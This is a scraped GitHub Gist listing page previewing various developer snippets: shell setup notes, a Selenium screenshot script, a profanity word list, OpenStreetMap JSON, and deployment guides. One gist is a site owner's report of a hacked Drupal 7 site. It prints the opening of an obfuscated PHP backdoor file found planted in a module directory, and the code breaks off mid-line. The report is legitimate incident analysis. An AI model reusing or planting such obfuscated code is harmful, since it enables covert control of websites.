Skip to content

Instantly share code, notes, and snippets.

View hugovk's full-sized avatar

Hugo van Kemenade hugovk

View GitHub Profile
@namuol
namuol / INSTALL.md
Last active July 24, 2023 11:53
rage-quit support for bash

rage-quit support for bash

HOW TO INSTALL

Put flip somewhere in your $PATH and chmod a+x it.

Copy fuck into ~/.bashrc.

@jsok
jsok / phantom.py
Created March 12, 2014 06:42
Use PhantomJS and Python Selenium bindings to take screenshots of websites.
import StringIO
from selenium import webdriver
from PIL import Image
# Install instructions
#
# npm install phantomjs
# sudo apt-get install libjpeg-dev
# pip install selenium pillow
@Bouke
Bouke / gist:11261620
Last active August 3, 2023 01:46
Multiple Python installations on OS X

Previous versions used homebrew to install the various versions. As suggested in the comments, it's better to use pyenv instead. If you are looking for the previous version of this document, see the revision history.

$ brew update
$ brew install pyenv
$ pyenv install 3.5.0
$ pyenv install 3.4.3
$ pyenv install 3.3.6
$ pyenv install 3.2.6
$ pyenv install 2.7.10

$ pyenv install 2.6.9

@ryanlewis
ryanlewis / google_twunter_lol
Created May 27, 2014 14:28 — forked from jamiew/google_twunter_lol
Naughty word list, compiled by Google and @jamiew
4r5e
5h1t
5hit
a55
anal
anus
ar5e
arrse
arse
ass
@atomotic
atomotic / Readme.md
Last active September 9, 2022 09:39
Internet Archive Save Page Now
@mishari
mishari / continental-usa-states-bb
Created July 3, 2014 14:41
Bounding box of states in USA from OSM's Nominatim
[{"place_id":"97994878","licence":"Data \u00a9 OpenStreetMap contributors, ODbL 1.0. http:\/\/www.openstreetmap.org\/copyright","osm_type":"relation","osm_id":"161950","boundingbox":["30.1375217437744","35.0080299377441","-88.4731369018555","-84.8882446289062"],"lat":"33.2588817","lon":"-86.8295337","display_name":"Alabama, United States of America","place_rank":"8","category":"boundary","type":"administrative","importance":0.83507032450272,"icon":"http:\/\/nominatim.openstreetmap.org\/images\/mapicons\/poi_boundary_administrative.p.20.png"}]
[{"place_id":"97421560","licence":"Data \u00a9 OpenStreetMap contributors, ODbL 1.0. http:\/\/www.openstreetmap.org\/copyright","osm_type":"relation","osm_id":"162018","boundingbox":["31.3321762084961","37.0042610168457","-114.818359375","-109.045196533203"],"lat":"34.395342","lon":"-111.7632755","display_name":"Arizona, United States of America","place_rank":"8","category":"boundary","type":"administrative","importance":0.83922181098242,"icon":"http:\/\/nominatim.openst
@Strae
Strae / stats7.php
Created October 31, 2014 09:25
Drupal 7 attack october 2014
My host just blocked one of my drupal7 websistes for being use for massive spam.
Analyzing my access log, i found two script being called often and there are not a Drupal scripts:
/sites/all/modules/i18n/i18n_block/stats7.php
/modules/file/bs63d8.php
/sites/all/modules/i18n/i18n_block/stats7.php:
<?php
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i');
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A
@moonmilk
moonmilk / README.md
Last active November 29, 2023 01:48
manually authorize a twitter app to a twitter account

So you're writting a twitterbot and you need to authorize your application to post to the account. You need an access token and secret for the account you're posting to. If the posting account is the same account that owns the application, no problem, you just push the button on your application's settings page to make the keys. But if you want to post to a different twitter account, there's no UI on apps.twitter.com to authorize it. So I made this bare-minimum node server to run through the authorization process. There's probably a much better way to do this, so please let me know what that way is!

ignore this and go down to the comments for better solutions

  • You'll need a server with node.js!
  • Make sure your application has a callback URL specified in its settings page, even if it's just a placeholder. If there's nothing in the callback URL slot, this method of authorization won't work.
  • In authorize.js, fill in your application's consumer key and secret, and the domain on which you'll be running th
@domenic
domenic / 0-github-actions.md
Last active April 8, 2024 23:35
Auto-deploying built products to gh-pages with Travis

Auto-deploying built products to gh-pages with GitHub Actions

This is a set up for projects which want to check in only their source files, but have their gh-pages branch automatically updated with some compiled output every time they push.

A file below this one contains the steps for doing this with Travis CI. However, these days I recommend GitHub Actions, for the following reasons:

  • It is much easier and requires less steps, because you are already authenticated with GitHub, so you don't need to share secret keys across services like you do when coordinate Travis CI and GitHub.
  • It is free, with no quotas.
  • Anecdotally, builds are much faster with GitHub Actions than with Travis CI, especially in terms of time spent waiting for a builder.
@tablatronix
tablatronix / user48736353001_discog_2015
Last active August 29, 2015 14:14
user48736353001 discography 2015-soundcloud / fly away babies, good luck!
-1|status|tag|no|name|duration|about
112||afx||luke vibert spiral staircase [future music competition] [afx remix]|5:05
111||afx|19|[Slo]w early morning clissold sunrise|4:49|
110||afx|7|lsb [slo]|4:05|
109||afx|4|Red Calx[slo]|5:41|
108||Art|2|Dual Acid Ab6|4:36|94 ish, fuk knows
107||afx|5|How To Science 2 Ab6|4:51|
106||afx|4|how to science ab6|3:47|
105||afx|3|hollow alias ab6|2:14|ab6